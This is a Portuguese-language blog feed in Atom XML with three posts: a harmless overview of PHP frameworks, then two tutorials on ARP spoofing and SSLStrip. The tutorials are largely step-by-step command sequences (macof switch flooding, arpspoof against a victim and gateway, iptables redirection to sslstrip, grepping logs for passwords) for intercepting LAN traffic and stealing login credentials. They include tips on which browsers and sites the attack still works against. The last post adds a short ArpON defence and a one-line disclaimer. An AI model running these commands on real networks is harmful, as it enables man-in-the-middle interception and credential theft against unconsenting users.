<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7138254364688217533</id><updated>2024-11-05T22:50:41.856-04:00</updated><category term="Linux"/><category term="PHP"/><category term="Ubuntu"/><category term="linux Serv"/><category term="SQL"/><category term="Microsoft"/><category term="Programas"/><category term="Rede Sociais"/><category term="PHP fórum"/><category term="TI"/><category term="Webdesigner"/><category term="Android"/><category term="Debian"/><category term="Educação"/><category term="Fontes"/><category term="Salários"/><title type='text'>AzorWeb - Fabrício Azor</title><subtitle type='html'>Notícias, Design e Web, CMS e Framework, Linguagens PHP XML Java e JavaScript, Livros, Vídeos, Linux, Eventos.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>307</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-3372320721425751190</id><published>2016-02-15T14:59:00.001-03:00</published><updated>2016-02-15T14:59:20.578-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP fórum"/><title type='text'>Frameworks no PHP: O que, quando, porque e qual?</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgldEwa-kgxR0NCandi2GVrgOIN-fCXGYxOYoh-olVIgXzRIV5ZHOx9TPOB5R7PygfiEFYFlAbgqgTcnWfxwxWkMxIdXsP6TVJ2CTEMqt3lsbXnzE9HF3EkKWSToSNutJRRSYd0WH3vwgE/s1600/php-framework.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;112&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgldEwa-kgxR0NCandi2GVrgOIN-fCXGYxOYoh-olVIgXzRIV5ZHOx9TPOB5R7PygfiEFYFlAbgqgTcnWfxwxWkMxIdXsP6TVJ2CTEMqt3lsbXnzE9HF3EkKWSToSNutJRRSYd0WH3vwgE/s200/php-framework.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
PHP é a linguagem de programação mais famosa do mundo por várias razões: flexibilidade, facilidade de uso e vários outros fatores.. Mas algumas vezes a programação se torna monótona e/ou repetitiva e é ai que um framework pode ajudar.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;O que é um framework de PHP?&lt;/b&gt;&lt;br /&gt;
De forma resumida o framework é uma estrutura, uma fundação para você criar a sua aplicação. Em outras palavras o framework te permite o desenvolvimento rápido de aplicações (RAD), o que faz economizar tempo, ajuda a criar aplicações mais sólidas e seguras além de reduzir a quantidade de código repetido. Os frameworks também permitem que os iniciantes criem aplicações mais estáveis garantindo uma boa relação entre o banco de dados e a camada externa de exibição. Isso tudo te permite gastar mais tempo desenvolvendo a aplicação em si do que repetindo os códigos que todas as aplicações têm.&lt;br /&gt;
&lt;br /&gt;
A idéia padrão de trabalho por trás de um framework no PHP esta ligado ao modelo MVC (Model View Controller). MVC é uma forma de programação que isola a lógica de negócio (como a aplicação funciona) da camada de exibição (a parte visual). O Model cuida do banco de dados, o View cuida da camada de exibição e o Controller cuida da lógica de negócio. Isso tudo faz com que você trabalhe mais rápido e de forma setorizada.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Porque usar um framework de PHP?&lt;/b&gt;&lt;br /&gt;
Os desenvolvedores utilizam frameworks por vários motivos, e o maior deles é para agilizar o processo de desenvolvimento. A re-utilização de código em vários projetos vai economizar muito tempo e trabalho… Isso é garantido pois o framework já traz uma série de módulos pré-configurados (e funcionando) para fazer as mais variadas e comuns tarefas como envio de e-mails, conexão com o banco de dados, sanitização (limpeza) de dados e proteção contra ataques.&lt;br /&gt;
Estabilidade é outra grande vantagem dos frameworks. A simplicidade, que é um dos grandes “feitos” do PHP, também é o que possibilita inúmeros erros e falhas pelos principiantes… Nem todo código que funciona necessariamente está correto e bem desenvolvido.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Quando usar um framework de PHP?&lt;/b&gt;&lt;br /&gt;
Essa é uma dúvida muito comum em todos os níveis de desenvolvimento. Para a maioria dos iniciantes, usar um framework além de ser mais fácil vai ser mais estável, então é bom usá-los sempre que possível.&lt;br /&gt;
&lt;br /&gt;
Em contrapartida vários programadores experientes vêem os frameworks como ferramentas usadas pro programadores fracos, que não sabem como criar um código limpo, sólido e seguro.&lt;br /&gt;
Quando se trabalha com projetos que tem um prazo muito curto (o que eu chamo de “prazo Jack Bauer”) é sempre bom usar um framework, pois ele vai agilizar todo o processo. Outro motivo forte para o uso do framework é que você não está criando “código artesanal”… Há todo um padrão que você deve seguir para que as coisas funcionem, e está tudo documentado e explicado em uma vasta comunidade de suporte.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEobJFYeScB6yLbyJO16YyOngJ8s4Hm44TxtSBY-lopHE2l2YxdgV8MFXv7_jTiMig0adlTNl5dpOjuTbqCAwzcUgDZSBrmCyPkAsaryYvBV8YAFGcU0txOHliJnSdNEqSH_5Z0R2M6-c/s1600/competitors.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEobJFYeScB6yLbyJO16YyOngJ8s4Hm44TxtSBY-lopHE2l2YxdgV8MFXv7_jTiMig0adlTNl5dpOjuTbqCAwzcUgDZSBrmCyPkAsaryYvBV8YAFGcU0txOHliJnSdNEqSH_5Z0R2M6-c/s400/competitors.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;CakePHP&lt;/b&gt;&lt;br /&gt;
O CakePHP é uma grande opção para iniciantes e desenvolvedores avançados. Ele foi criado usando as bases e modelos do Ruby on Rails e é pesadamente focado no desenvolvimento ágil e rápido. Recentemente ele tem se tornado muito famoso por sua simplicidade e facilidade de uso.&lt;br /&gt;
Eu pessoalmente recomendo o CakePHP… Minha vida de programador mudou depois que eu comecei a usar ele. :)&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Zend Framework&lt;/b&gt;&lt;br /&gt;
O Zend Framework é um framework focado no desenvolvimento de aplicações pra web 2.0. Ele tem um grande número de seguidores, fontes de suporte e uma comunidade cheia de usuários ativos e participativos. O Zend é o framework mais famoso hoje em dia, ele é robusto e permite a criação de aplicações enterprise (de grande porte) mas seu uso exige um conhecimento vasto do PHP.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;CodeIgniter&lt;/b&gt;&lt;br /&gt;
Já o CodeIgniter é bastante conhecido pela sua facilidade de uso, performance e rapidez. É ideal para aplicações rodando em servidores compartilhados. Ele oferece soluções simples e de pequeno porte, com um grande número de tutoriais em vídeo, fóruns e wikis.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/3372320721425751190/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2016/02/frameworks-no-php-o-que-quando-porque-e.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/3372320721425751190'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/3372320721425751190'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2016/02/frameworks-no-php-o-que-quando-porque-e.html' title='Frameworks no PHP: O que, quando, porque e qual?'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgldEwa-kgxR0NCandi2GVrgOIN-fCXGYxOYoh-olVIgXzRIV5ZHOx9TPOB5R7PygfiEFYFlAbgqgTcnWfxwxWkMxIdXsP6TVJ2CTEMqt3lsbXnzE9HF3EkKWSToSNutJRRSYd0WH3vwgE/s72-c/php-framework.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-1902300663542836427</id><published>2016-01-01T20:50:00.003-03:00</published><updated>2016-01-01T20:52:48.819-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><category scheme="http://www.blogger.com/atom/ns#" term="Rede Sociais"/><category scheme="http://www.blogger.com/atom/ns#" term="TI"/><title type='text'>Entendendo e Realizando Um Ataque Arp Spoofing</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggP1l8FsIWxWuSEuipDuMz3xnd-VuHvtAYvPC3Y_iwYP01W6IriTjz3PfI3ZakR9cW3F21xXje7n5OZnn6ti0hcSEizG8ROhpHpNfRyNuWW72092FsWiIVsI_xapX-jMuib02MASxJ8_M/s1600/unnamed.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggP1l8FsIWxWuSEuipDuMz3xnd-VuHvtAYvPC3Y_iwYP01W6IriTjz3PfI3ZakR9cW3F21xXje7n5OZnn6ti0hcSEizG8ROhpHpNfRyNuWW72092FsWiIVsI_xapX-jMuib02MASxJ8_M/s200/unnamed.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Sniffer é uma ferramenta capaz de capturar o tráfego da rede, inclusive as senhas que trafegam sem criptografia pela rede. Após uma invasão é comum que um cracker instale um sniffer na máquina atacada para visualizar as senhas que trafegam em busca de mais acessos dentro da rede. Embora seja mais fácil capturar pacotes em uma rede que utiliza hubs, também é possível realizar a captura de dados em redes que utilizam switches.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
A captura de trafego era bastante simples em redes que possuíam HUBs, onde a informação trafegada é replicada por toda a rede. Como a evolução, surgiram os switchs, onde a rede passou a trabalhar de forma mais segmentada, encaminhando os pacotes apenas para a porta onde estava conectado a maquina de destino, com isso dificultou o uso de ferramentas de sniffer.&lt;br /&gt;
&lt;br /&gt;
Logo, com o aparecimento dos switchs surgiram também diversas formas de “by-passa-los”, uma delas consistia em “floodar” a tabela CAM do switch. Esta tabela fica na área de memória onde o switch mantém o mapeamento de PORTA &amp;lt;===&amp;gt; MAC. Quando fazemos o flood, diversos switchs não conseguem mais acrescentar nenhuma entrada nela passando a funcionar como um HUB. Um exemplo de ferramenta que faz CAM Flood é o macof, que vem no pacote do dsniff. Você pode instalar o Dsniff executando:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;# aptitude install dsniff&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Execute o seguinte comando para fazer o CAM Flood no Switch.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;# macof&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Pronto a partir daí o macof já inundou a tabela CAM do switch com endereços MAC aleatórios fazendo com que o switch funcione como HUB.&lt;br /&gt;
&lt;br /&gt;
Obs: Não é obrigatório o uso do macof para fazer o arp spoofing, isso só irá acelerar o processo um pouco em redes que utilizam switchs.&lt;br /&gt;
&lt;br /&gt;
Os ataques de arp spoofing consistem em adicionar/substituir na tabela arp da maquina alvo uma entrada que diz IP_QUE_A_MAQUINA_ALVO_ESTA_SE_COMUNICANDO &amp;lt;===&amp;gt; MAC_DO_ATACANTE. Com isso quando a maquina alvo for montar o pacote para envio ela montara com o IP real do servidor de destino que ela quer acessar, porem utilizará o endereço MAC do atacante, ou seja, quando este pacote passar pelo switch o mesmo encaminhará o pacote para o atacante, no caso você.&lt;br /&gt;
&lt;br /&gt;
Exemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;# arpspoof -i &amp;lt;INTERFACE&amp;gt; -t &amp;lt;IP_DO_ALVO&amp;gt; &amp;lt;IP_QUE_SEU_ALVO_VAI_MAPEAR_PARA_SEU_MAC&amp;gt;&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;b&gt;&lt;i&gt;# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Obs: O arpspoof faz parte do Dsniff que instalamos &amp;nbsp;a pouco.&lt;br /&gt;
&lt;br /&gt;
No exemplo acima o IP 192.168.0.55 vai adicionar/atualizar a sua tabela arp com os novos dados. Para o ataque ser 100% funcional é preciso fazer o mesmo para o IP 192.168.0.1 e habilitar o forward de pacotes (echo “1” &amp;gt;/proc/sys/net/ipv4/ip_forward) na sua máquina, com isso o trafego entre tais hosts passará por você e você poderá sniffar e/ou fazer ataques de MITM (Man-In-The_Middle).&lt;br /&gt;
&lt;br /&gt;
Abra um terminal e habilite o encaminhamento de pacotes&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;# echo “1” &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Agora faça o arp spoofing, aqui estou dizendo que quando o ip final 55 se comunicar com o gateway (final 1), na verdade o ip 55 vai encaminhar os pacotes para o PC do atacante, no caso o seu.&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Agora em outro terminal informe que quando o gateway (final 0.1) se comunicar com o ip final 55 na verdade ele (gateway) irá encaminhar os pacotes para o PC do atacate, no caso o seu.&lt;br /&gt;
&lt;i&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/i&gt;
&lt;i&gt;&lt;b&gt;# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Pronto com isso você já é capaz de “sniffar” o trafego da vitima ou até mesmo fazer um MITM (Man-In-The_Middle) Homen do Meio em bom português.&lt;br /&gt;
&lt;br /&gt;
Outras ferramentas capazes de sniffar a rede são:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Ettercap&lt;/b&gt;&lt;br /&gt;
Extremamente famoso no mundo do hacking, esse sniffer é capaz de capturar trafego em switch por possuir técnicas arp spoofing. Além disso, a ferramenta é composta por diversos plugins que possibilitam identificar máquina, encontrar portas abertas e finalizar conexões ativas, além de capturar sessões de protocolos como telnet.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;TcpDump&lt;/b&gt;&lt;br /&gt;
O tcpdump é um dos mais, se não o mais “famoso” sniffer para sistemas GNU/Linux. Com ele podemos realizar análises de redes e solucionar problemas. Sua utilização é simples e sem mistérios, bastando apenas ter os conhecimentos básicos de redes TCP/IP.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Wireshark&lt;/b&gt;&lt;br /&gt;
Wireshark, o bom e velho Ethereal, é um poderoso sniffer, que permite capturar o tráfego da rede, fornecendo uma ferramenta poderosa para detectar problemas e entender melhor o funcionamento de cada protocolo.&lt;br /&gt;
&lt;br /&gt;
Bem depois de conhecer algumas ferramentas, saber como um sniffer funciona e como fazer um arp spoofing vamos ver quais são os protocolos mais vulneráveis a sniffer simplesmente por utilizarem senhas em texto plano sem autenticação. Logo, se um atacante tiver acesso a LAN poderá facilmente interceptar senhas e ganhar vários acesso.&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Telnet&lt;/li&gt;
&lt;li&gt;Rlogin&lt;/li&gt;
&lt;li&gt;HTTP&lt;/li&gt;
&lt;li&gt;SMTP&lt;/li&gt;
&lt;li&gt;NNTP&lt;/li&gt;
&lt;li&gt;POP&lt;/li&gt;
&lt;li&gt;FTP&lt;/li&gt;
&lt;li&gt;IMAP&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://azorweb.blogspot.com/feeds/1902300663542836427/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://azorweb.blogspot.com/2016/01/entendendo-e-realizando-um-ataque-arp.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1902300663542836427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7138254364688217533/posts/default/1902300663542836427'/><link rel='alternate' type='text/html' href='http://azorweb.blogspot.com/2016/01/entendendo-e-realizando-um-ataque-arp.html' title='Entendendo e Realizando Um Ataque Arp Spoofing'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/00317602330224076809</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggP1l8FsIWxWuSEuipDuMz3xnd-VuHvtAYvPC3Y_iwYP01W6IriTjz3PfI3ZakR9cW3F21xXje7n5OZnn6ti0hcSEizG8ROhpHpNfRyNuWW72092FsWiIVsI_xapX-jMuib02MASxJ8_M/s72-c/unnamed.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7138254364688217533.post-2595113242928248159</id><published>2016-01-01T20:38:00.003-03:00</published><updated>2016-01-01T20:53:25.845-03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Debian"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="linux Serv"/><category scheme="http://www.blogger.com/atom/ns#" term="TI"/><title type='text'>Entendendo o ataque ARP spoofing + SSLStrip</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91FjBiEUT3lwzDBboM8C2ljlCo7St70EvCAjcfDlziZZPovpu25e0Jd4crJocfm9eoHYY9R-1pgYTQ2Tj_MtLw2gGZP5n21eH8pzWAGoFtf_PeVcdVhlVhQYVDFzpSVbfjKr_RxjhsWM/s1600/ettercap.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;182&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91FjBiEUT3lwzDBboM8C2ljlCo7St70EvCAjcfDlziZZPovpu25e0Jd4crJocfm9eoHYY9R-1pgYTQ2Tj_MtLw2gGZP5n21eH8pzWAGoFtf_PeVcdVhlVhQYVDFzpSVbfjKr_RxjhsWM/s320/ettercap.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Veremos um pouco sobre o&lt;br /&gt;
SSLStrip&lt;br /&gt;
&lt;br /&gt;
, descobriremos que o uso da conexão segura&lt;br /&gt;
SSL&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;não garante a proteção do usuário 100%. Muita gente acha que ao usar HTTPS, está livre de qualquer ataque de crackers, mas na verdade não é bem assim, existem métodos que possibilitam o roubo de informações mesmo em sites seguros.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
O SSLStrip nos permite isso, esta técnica é relativamente fácil de aplicar e extremamente poderosa. Ela funciona juntamente com o arpspoof, que já vimos como funciona, para aqueles que não viram, segue o link:&lt;br /&gt;
&lt;a href=&quot;http://azorweb.blogspot.com.br/2016/01/entendendo-e-realizando-um-ataque-arp.html&quot; target=&quot;_blank&quot;&gt;Guia do TI: Um Pouco Sobre Sniffer e Arp Spoof&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Quando um usuário conecta-se em um site seguro, ele transfere as informações criptografadas com o servidor impedindo um ataque de&lt;br /&gt;
sniffing&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;tradicional. Quando realizamos o ataque de SSLStrip, primeiramente interceptamos o tráfego do alvo através de técnicas&lt;br /&gt;
man-in-the-middle&lt;br /&gt;
&lt;br /&gt;
, assim, o atacante engana o alvo fazendo-se passar por um proxy e engana o servidor se passando pelo cliente, assim as informações são passadas para o atacante em texto puro.&lt;br /&gt;
Abaixo demonstrarei como funciona o ataque propriamente dito, utilizei um BackTrack 5 R2para usar o SSLStrip e um Windows como alvo.&lt;br /&gt;
* Todas as informações aqui contidas são para fins didáticos e não para causar danos e prejuízos para alguém, usem este conhecimento com ética e responsabilidade.&lt;br /&gt;
Procedimentos&lt;br /&gt;
&lt;br /&gt;
Primeiramente habilitaremos o encaminhamento de pacotes para realizar o&lt;br /&gt;
ARP spoofing&lt;br /&gt;
&lt;br /&gt;
:&lt;br /&gt;
# echo “1” &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
Agora, vá até o diretório do SSLStrip no BackTrack:&lt;br /&gt;
# cd /pentest/web/sslstrip&lt;br /&gt;
Redirecione o tráfego da porta 80 para a porta que utilizaremos no SSLStrip, no caso, redirecionei para a porta 8080:&lt;br /&gt;
# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080&lt;br /&gt;
Agora vamos mandar o SSLStrip escutar o tráfego na porta 8080 e mandar ele logar tudo:&lt;br /&gt;
# python sslstrp.py -a -l 8080&lt;br /&gt;
Depois disso, em outro terminal, comece o ARP spoofing entre a vítima e o gateway:&lt;br /&gt;
# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1&lt;br /&gt;
Em outro terminal:&lt;br /&gt;
# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55&lt;br /&gt;
Você pode acompanhar o tráfego dando:&lt;br /&gt;
# tail -f sslstrip.log&lt;br /&gt;
Para ver as senhas, procure por login ou passwd dentro do arquivo de log, não se assuste com a quantidade de informações dentro do arquivo, é assim mesmo.&lt;br /&gt;
Obs.: Se você estiver tentando capturar senhas do Gmail e a vítima estiver utilizando o Google Chrome não vai funcionar, tem que ser outro navegador, como o IE por exemplo. Mas o resto funciona, como: Facebook, Terra, entre outros.&lt;br /&gt;
Como se proteger&lt;br /&gt;
&lt;br /&gt;
O ArpON é uma ferramenta open source que faz ARP seguro, evitando, com isso, ataques como&lt;br /&gt;
Man-in-the-middle&lt;br /&gt;
&lt;br /&gt;
,&lt;br /&gt;
DHCP Spoofing&lt;br /&gt;
&lt;br /&gt;
,&lt;br /&gt;
DNS Spoofing&lt;br /&gt;
&lt;br /&gt;
,&lt;br /&gt;
Web Spoofing&lt;br /&gt;
&lt;br /&gt;
,&lt;br /&gt;
Sequestro de sessão SSL&lt;br /&gt;
&lt;br /&gt;
, entre outros. Ela funciona monitorando a tabela ARP da rede, gera e bloqueia alterações na tabela.&lt;br /&gt;
Bem, como na maioria das empresas a maioria dos hosts são Windows, iremos basear o laboratório no seguinte cenário:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;FIREWALL &amp;nbsp;/ GATEWAY&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; SWITCH&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ---------------------------&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; | &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HOST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HOST &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;HOST&lt;br /&gt;
&lt;br /&gt;
Não sei se dá para entender (hehehe), mas vamos amos explicar mais um. pouco. É no nosso servidor&lt;br /&gt;
GNU/Linux&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;que compartilha a Internet para a rede interna que será instalado o&lt;br /&gt;
ArpON&lt;br /&gt;
&lt;br /&gt;
, e nele, iremos colocar todos os IPs e MACs dos nossos clientes.&lt;br /&gt;
Assim, quando algum usuário malicioso tentar fazer o ARP spoofing, ele não irá conseguir completar. Do alvo para o gateway, ele vai conseguir, pois não temos nenhuma proteção no cliente. Mas quando ele tentar fazer do gateway para o alvo, ele não vai conseguir, pois o ArpON que está no gateway irá bloquear, com isso, impedimos o ataque e conseguimos até ver qual é o usuário espertinho.&lt;br /&gt;
Bem, vamos colocar a mão na massa. Para instalar o ArpON:&lt;br /&gt;
# aptitude install arpon&lt;br /&gt;
Agora, edite o arquivo de configuração do ArpON:&lt;br /&gt;
# pico /etc/default/arpon&lt;br /&gt;
Descomente a linha:&lt;br /&gt;
DAEMON_OPTS=”-d -f /var/log/arpon/arpon.log -g -i eth1 -s”&lt;br /&gt;
Obs.: Repare que existe um parâmetro nessa linha (&lt;br /&gt;
-i eth1&lt;br /&gt;
&lt;br /&gt;
) que não haverá no arquivo de vocês, é porque no meu laboratório a interface da rede interna é&lt;br /&gt;
eth1&lt;br /&gt;
&lt;br /&gt;
, caso a de vocês seja&lt;br /&gt;
eth0&lt;br /&gt;
&lt;br /&gt;
, não é necessário colocar este parâmetro.&lt;br /&gt;
E mude a linha:&lt;br /&gt;
RUN=”no”&lt;br /&gt;
&lt;br /&gt;
Para:&lt;br /&gt;
RUN=”yes”&lt;br /&gt;
Agora precisamos cadastrar os IPs e MACs dos clientes:&lt;br /&gt;
# pico /etc/arpon.sarpi&lt;br /&gt;
Edite o arquivo da seguinte forma:&lt;br /&gt;
#IP &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;MAC&lt;br /&gt;
192.168.0.5 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;f5:f5:f5:f5:f5:f5&lt;br /&gt;
Obs.: Faça a identação com tabulações.&lt;br /&gt;
&lt;br /&gt;
Agora é só iniciar o ArpON:&lt;br /&gt;
# /etc/init.d/arpon start&lt;br /&gt;
E acompanhar os logs:&lt;br /&gt;
# tail -f /var/log/arpon/arpon.log&lt;br /&gt;
&amp;nbsp;Creditos:rik_99(VOL)&lt;/div&gt;
